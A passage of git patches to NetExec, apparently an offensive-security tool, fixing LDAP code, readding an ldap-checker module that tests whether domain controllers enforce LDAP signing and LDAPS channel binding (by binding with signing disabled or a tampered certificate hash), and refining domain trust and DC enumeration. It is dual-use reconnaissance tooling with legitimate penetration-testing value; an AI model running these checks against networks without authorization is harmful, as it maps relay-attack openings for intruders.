{self.host}") self.cbt_status = "When Supported" # CBT is When Supported else: - raise + self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") except SysCallError as e: self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] == "ECONNRESET": From f36c53f34f96162a0113f7fd054ef7355a37e9e4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 07:06:47 -0400 Subject: [PATCH 079/103] Formatting --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index decf0a6f3c..0af080db7b 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -233,7 +233,7 @@ def get_ldap_username(self): value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split("\\")[1] return "" - + def check_ldap_signing(self): self.signing_required = False ldap_url = f"ldap://{self.target}" @@ -280,7 +280,6 @@ def check_ldaps_cbt(self): else: raise - def enum_host_info(self): self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target self.remoteName = self.target @@ -339,6 +338,7 @@ def print_host_info(self): signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname @@ -1286,7 +1286,7 @@ def bloodhound(self): self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") - self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("poetry add bloodhound-ce") self.logger.fail("") # If using pipx From f3d5f8df0a7046bfd1c985a1c8923e4486e1b1a1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 07:21:04 -0400 Subject: [PATCH 080/103] Readd ldap-checker module with 'REMOVED' note --- nxc/modules/ldap-checker.py | 260 ++++++++++++++++++++++++++++++++++++ 1 file changed, 260 insertions(+) create mode 100644 nxc/modules/ldap-checker.py diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py new file mode 100644 index 0000000000..dcb9229306 --- /dev/null +++ b/nxc/modules/ldap-checker.py @@ -0,0 +1,260 @@ +import socket +import ssl +import asyncio +import hashlib +import random + +from msldap.connection import MSLDAPClientConnection +from msldap.commons.target import MSLDAPTarget + +from asyauth.common.constants import asyauthSecret +from asyauth.common.credentials.ntlm import NTLMCredential +from asyauth.common.credentials.kerberos import KerberosCredential + +from asysocks.unicomm.common.target import UniTarget, UniProto +import contextlib + + +class NXCModule: + """ + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. + + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 + Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan + """ + name = "ldap-checker" + description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced" + supported_protocols = ["ldap"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """No options available.""" + + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") + return None + + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced + else: + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): + context.log.fail("[REMOVED] Now natively supported in the host banner") + return + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential + else: + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") + else: + context.log.fail("Could not determine LDAP signing requirement.") + + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") + else: + context.log.fail("Could not determine LDAPS channel binding settings") + else: + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file From a6542cac6454da3018e961694ab934126fdf26a6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 07:55:30 -0400 Subject: [PATCH 081/103] Fix spec file --- netexec.spec | 2 ++ 1 file changed, 2 insertions(+) diff --git a/netexec.spec b/netexec.spec index 483ce6ba4c..93d14f4c9c 100644 --- a/netexec.spec +++ b/netexec.spec @@ -27,6 +27,7 @@ a = Analysis( 'impacket.dcerpc.v5.gkdi', 'impacket.dcerpc.v5.rprn', 'impacket.dcerpc.v5.even', + 'impacket.dcerpc.v5.even6', 'impacket.dpapi_ng', 'impacket.tds', 'impacket.version', @@ -43,6 +44,7 @@ a = Analysis( 'nxc.parsers.ldap_results', 'nxc.helpers.bash', 'nxc.helpers.bloodhound', + 'nxc.helpers.even6_parser', 'nxc.helpers.msada_guids', 'nxc.helpers.ntlm_parser', 'paramiko', From ccd39ff2e30edc9f51e8483cc59edb42cbc79636 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 08:12:04 -0400 Subject: [PATCH 082/103] Fix error handling when resolving the DCs --- nxc/protocols/ldap.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f2e151f736..96aa29b68f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -788,18 +788,17 @@ def resolve_and_display_hostname(name, domain_name=None): elif record_type == "NS": self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") found_record = True - except resolv.NXDOMAIN: + except resolver.NXDOMAIN: self.logger.fail(f"{prefix}{name} = Host not found (NXDOMAIN)") - except resolv.Timeout: + except resolver.Timeout: self.logger.fail(f"{prefix}{name} = Connection timed out") - except resolv.NoAnswer: + except resolver.NoAnswer: self.logger.fail(f"{prefix}{name} = DNS server did not respond") except Exception as e: self.logger.fail(f"{prefix}{name} encountered an unexpected error: {e}") else: - self.logger.fail(f"{prefix}dNSHostName value is empty, unable to process.") + self.logger.fail(f"{prefix} dNSHostName value is empty, unable to process.") except Exception as e: - self.logger.fail("General Error:", exc_info=True) self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") # Find all domain controllers in the current domain From 1904ee44ae1bf5a0766fedd03095aa89e0522e0e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 08:17:48 -0400 Subject: [PATCH 083/103] Simplify logic --- nxc/protocols/ldap.py | 54 ++++++++++++++++++++----------------------- 1 file changed, 25 insertions(+), 29 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 96aa29b68f..38acf0cae4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -767,35 +767,31 @@ def resolve_and_display_hostname(name, domain_name=None): prefix = f"[{domain_name}] " if domain_name else "" try: # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records - if name: - found_record = False - for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: - if found_record: # Flag to check if any record is found - break # If a record has been found, stop checking further - try: - answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) - for rdata in answers: - if record_type in ["A", "AAAA"]: - ip_address = rdata.to_text() - self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") - found_record = True # Set flag to true since a record is found - elif record_type == "CNAME": - self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") - found_record = True - elif record_type == "PTR": - self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") - found_record = True - elif record_type == "NS": - self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") - found_record = True - except resolver.NXDOMAIN: - self.logger.fail(f"{prefix}{name} = Host not found (NXDOMAIN)") - except resolver.Timeout: - self.logger.fail(f"{prefix}{name} = Connection timed out") - except resolver.NoAnswer: - self.logger.fail(f"{prefix}{name} = DNS server did not respond") - except Exception as e: - self.logger.fail(f"{prefix}{name} encountered an unexpected error: {e}") + for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: + try: + answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) + for rdata in answers: + if record_type in ["A", "AAAA"]: + ip_address = rdata.to_text() + self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") + return + elif record_type == "CNAME": + self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + return + elif record_type == "PTR": + self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + return + elif record_type == "NS": + self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + return + except resolver.NXDOMAIN: + self.logger.fail(f"{prefix}{name} = Host not found (NXDOMAIN)") + except resolver.Timeout: + self.logger.fail(f"{prefix}{name} = Connection timed out") + except resolver.NoAnswer: + self.logger.fail(f"{prefix}{name} = DNS server did not respond") + except Exception as e: + self.logger.fail(f"{prefix}{name} encountered an unexpected error: {e}") else: self.logger.fail(f"{prefix} dNSHostName value is empty, unable to process.") except Exception as e: From 5456154fa2b5561ee1fb618b9de0a608e6bad6de Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 08:36:47 -0400 Subject: [PATCH 084/103] Fix trust bits --- nxc/protocols/ldap.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 38acf0cae4..4af6fe6432 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -792,8 +792,6 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.fail(f"{prefix}{name} = DNS server did not respond") except Exception as e: self.logger.fail(f"{prefix}{name} encountered an unexpected error: {e}") - else: - self.logger.fail(f"{prefix} dNSHostName value is empty, unable to process.") except Exception as e: self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") @@ -801,7 +799,7 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.info("Enumerating Domain Controllers in current domain...") search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] - resp = self.search(search_filter, attributes, 0) + resp = self.search(search_filter, attributes) resp_parse = parse_result_attributes(resp) for item in resp_parse: if "dNSHostName" in item: # Get dNSHostName attribute @@ -824,6 +822,7 @@ def resolve_and_display_hostname(name, domain_name=None): trust_type = int(trust["trustType"]) trust_attributes = trust["trustAttributes"] + # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c trust_attribute_flags = { 0x1: "Non-Transitive", 0x2: "Uplevel-Only", @@ -833,7 +832,8 @@ def resolve_and_display_hostname(name, domain_name=None): 0x20: "Within Forest", 0x40: "Treat as External", 0x80: "Uses RC4 Encryption", - 0x100: "Cross Organization No TGT Delegation", + 0x200: "Cross Organization No TGT Delegation", + 0x800: "Cross Organization Enable TGT Delegation", 0x2000: "PAM Trust" } @@ -855,7 +855,7 @@ def resolve_and_display_hostname(name, domain_name=None): 1: "Windows NT", 2: "Active Directory", 3: "Kerberos", - 4: "DCE", + 4: "Unknown", 5: "Azure Active Directory", }[trust_type] From 23bab54b1c4f9c8f86d9dfc4358751b340d0d7c2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 08:37:13 -0400 Subject: [PATCH 085/103] Remove duplicate if list is empty check --- nxc/protocols/ldap.py | 135 +++++++++++++++++++++--------------------- 1 file changed, 67 insertions(+), 68 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4af6fe6432..5be67bb5e0 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -813,76 +813,75 @@ def resolve_and_display_hostname(name, domain_name=None): resp = self.search(search_filter, attributes, 0) trust_resp_parse = parse_result_attributes(resp) - if trust_resp_parse: - for trust in trust_resp_parse: - try: - trust_name = trust["name"] - trust_flat_name = trust["flatName"] - trust_direction = int(trust["trustDirection"]) - trust_type = int(trust["trustType"]) - trust_attributes = trust["trustAttributes"] - - # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c - trust_attribute_flags = { - 0x1: "Non-Transitive", - 0x2: "Uplevel-Only", - 0x4: "Quarantined Domain", - 0x8: "Forest Transitive", - 0x10: "Cross Organization", - 0x20: "Within Forest", - 0x40: "Treat as External", - 0x80: "Uses RC4 Encryption", - 0x200: "Cross Organization No TGT Delegation", - 0x800: "Cross Organization Enable TGT Delegation", - 0x2000: "PAM Trust" - } - - # For check if multiple posibble flags, like Uplevel-Only, Treat as External - trust_attributes_text = ", ".join([ - text for flag, text in trust_attribute_flags.items() - if int(trust_attributes) & flag - ]) or "Other" # If Trust attrs not known - - # Convert trust direction/type to human-readable format - direction_text = { - 0: "Disabled", - 1: "Inbound", - 2: "Outbound", - 3: "Bidirectional", - }[trust_direction] - - trust_type_text = { - 1: "Windows NT", - 2: "Active Directory", - 3: "Kerberos", - 4: "Unknown", - 5: "Azure Active Directory", - }[trust_type] - - self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") - self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") + for trust in trust_resp_parse: + try: + trust_name = trust["name"] + trust_flat_name = trust["flatName"] + trust_direction = int(trust["trustDirection"]) + trust_type = int(trust["trustType"]) + trust_attributes = trust["trustAttributes"] + + # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c + trust_attribute_flags = { + 0x1: "Non-Transitive", + 0x2: "Uplevel-Only", + 0x4: "Quarantined Domain", + 0x8: "Forest Transitive", + 0x10: "Cross Organization", + 0x20: "Within Forest", + 0x40: "Treat as External", + 0x80: "Uses RC4 Encryption", + 0x200: "Cross Organization No TGT Delegation", + 0x800: "Cross Organization Enable TGT Delegation", + 0x2000: "PAM Trust" + } + + # For check if multiple posibble flags, like Uplevel-Only, Treat as External + trust_attributes_text = ", ".join([ + text for flag, text in trust_attribute_flags.items() + if int(trust_attributes) & flag + ]) or "Other" # If Trust attrs not known + + # Convert trust direction/type to human-readable format + direction_text = { + 0: "Disabled", + 1: "Inbound", + 2: "Outbound", + 3: "Bidirectional", + }[trust_direction] + + trust_type_text = { + 1: "Windows NT", + 2: "Active Directory", + 3: "Kerberos", + 4: "Unknown", + 5: "Azure Active Directory", + }[trust_type] + + self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") + self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") - except Exception as e: - self.logger.fail(f"Failed {e} in trust entry: {trust}") + except Exception as e: + self.logger.fail(f"Failed {e} in trust entry: {trust}") - # Only process if it's an Active Directory trust - if int(trust_type) == 2: - # Try to find domain controllers in trusted domain using DNS - # Check if we can resolve the trusted domain's DC using DNS - dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" - try: - srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) - self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") - for srv in srv_records: - dc_hostname = str(srv.target).rstrip(".") - self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") - self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") - resolve_and_display_hostname(dc_hostname) - except Exception as e: - self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") - else: - self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") - self.logger.info("Domain Controller enumeration complete.") + # Only process if it's an Active Directory trust + if int(trust_type) == 2: + # Try to find domain controllers in trusted domain using DNS + # Check if we can resolve the trusted domain's DC using DNS + dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" + try: + srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) + self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") + for srv in srv_records: + dc_hostname = str(srv.target).rstrip(".") + self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") + self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") + resolve_and_display_hostname(dc_hostname) + except Exception as e: + self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") + else: + self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") + self.logger.info("Domain Controller enumeration complete.") def active_users(self): if len(self.args.active_users) > 0: From 87c95a4133bac7bb64990a039164396012ac0081 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 09:01:18 -0400 Subject: [PATCH 086/103] Move int casting to value source --- nxc/protocols/ldap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 5be67bb5e0..f54541c6c8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -819,7 +819,7 @@ def resolve_and_display_hostname(name, domain_name=None): trust_flat_name = trust["flatName"] trust_direction = int(trust["trustDirection"]) trust_type = int(trust["trustType"]) - trust_attributes = trust["trustAttributes"] + trust_attributes = int(trust["trustAttributes"]) # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c trust_attribute_flags = { @@ -837,10 +837,10 @@ def resolve_and_display_hostname(name, domain_name=None): } # For check if multiple posibble flags, like Uplevel-Only, Treat as External - trust_attributes_text = ", ".join([ + trust_attributes_text = ", ".join( text for flag, text in trust_attribute_flags.items() - if int(trust_attributes) & flag - ]) or "Other" # If Trust attrs not known + if trust_attributes & flag + ) or "Other" # If Trust attrs not known # Convert trust direction/type to human-readable format direction_text = { From fdfafb6f6ecb1b0f53bf7acb215e22643a1ca052 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 09:18:37 -0400 Subject: [PATCH 087/103] Separate domain trusts visually by using succes instead of hightlight --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f54541c6c8..39271b0fc1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -874,7 +874,7 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") - self.logger.highlight(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0])}") + self.logger.success(f"Found DC in trusted domain: {dc_hostname}") self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: From b2fe25ac91ac9620443dc8dc42aa5101289dac3f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 28 May 2025 09:38:30 -0400 Subject: [PATCH 088/103] Change domain color on trust enumeration --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 39271b0fc1..06c80a39ae 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -874,7 +874,7 @@ def resolve_and_display_hostname(name, domain_name=None): self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") - self.logger.success(f"Found DC in trusted domain: {dc_hostname}") + self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}") self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: From 155553a74926befda2839bc8353b9eb445047971 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 28 May 2025 15:48:15 +0200 Subject: [PATCH 089/103] revert db changes --- nxc/protocols/ldap.py | 4 +--- nxc/protocols/ldap/database.py | 16 +++------------- nxc/protocols/ldap/db_navigator.py | 27 +++++++-------------------- 3 files changed, 11 insertions(+), 36 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0af080db7b..56b5387354 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -326,9 +326,7 @@ def enum_host_info(self): self.host, self.hostname, self.domain, - self.server_os, - self.signing_required, - self.cbt_status + self.server_os ) except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index d80b54be6d..b3a2ae75f1 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -38,9 +38,7 @@ def db_schema(db_conn): "ip" text, "hostname" text, "domain" text, - "os" text, - "signing" boolean, - "cbt_status" text + "os" text )""" ) @@ -59,7 +57,7 @@ def reflect_tables(self): ) sys.exit() - def add_host(self, ip, hostname, domain, os, signing=None, cbt_status=None): + def add_host(self, ip, hostname, domain, os): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] @@ -73,9 +71,7 @@ def add_host(self, ip, hostname, domain, os, signing=None, cbt_status=None): "ip": ip, "hostname": hostname, "domain": domain, - "os": os, - "signing": signing, - "cbt_status": cbt_status + "os": os } hosts = [new_host] # update existing hosts data @@ -89,12 +85,6 @@ def add_host(self, ip, hostname, domain, os, signing=None, cbt_status=None): host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain - if os is not None: - host_data["os"] = os - if signing is not None: - host_data["signing"] = signing - if cbt_status is not None: - host_data["cbt_status"] = cbt_status # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) diff --git a/nxc/protocols/ldap/db_navigator.py b/nxc/protocols/ldap/db_navigator.py index e6e17848d8..ef25ee8936 100644 --- a/nxc/protocols/ldap/db_navigator.py +++ b/nxc/protocols/ldap/db_navigator.py @@ -10,9 +10,7 @@ def display_hosts(self, hosts): "IP", "Hostname", "Domain", - "OS", - "Signing", - "Channel Binding" + "OS" ] ] @@ -27,18 +25,14 @@ def display_hosts(self, hosts): except Exception: os = host[4] - signing = "Enforced" if bool(host[5]) else "None" - cbt_status = host[6] - data.append( [ host_id, ip, hostname, domain, - os, - signing, - cbt_status] + os + ] ) print_table(data, title="Hosts") @@ -60,9 +54,7 @@ def do_hosts(self, line): "IP", "Hostname", "Domain", - "OS", - "Signing", - "Channel Binding" + "OS" ] ] host_id_list = [] @@ -79,18 +71,13 @@ def do_hosts(self, line): except Exception: os = host[4] - signing = "Enforced" if bool(host[5]) else "None" - cbt_status = host[6] - data.append( [ host_id, ip, hostname, domain, - os, - signing, - cbt_status + os ] ) print_table(data, title="Host") @@ -100,7 +87,7 @@ def help_hosts(self): hosts [filter_term] By default prints all hosts Table format: - | 'HostID', 'IP', 'Hostname', 'Domain', 'OS', 'Signing, 'Channel Binding' | + | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | Subcommands: filter_term - filters hosts with filter_term If a single host is returned (e.g. `hosts 15`, it prints the following tables: @@ -201,4 +188,4 @@ def help_clear_database(self): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) + print_help(help_string) \ No newline at end of file From 36bdf2fb6353170e6b868dda000f21a346008211 Mon Sep 17 00:00:00 2001 From: termanix Date: Wed, 28 May 2025 09:51:13 -0400 Subject: [PATCH 090/103] added author to pi --- nxc/modules/pi.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index 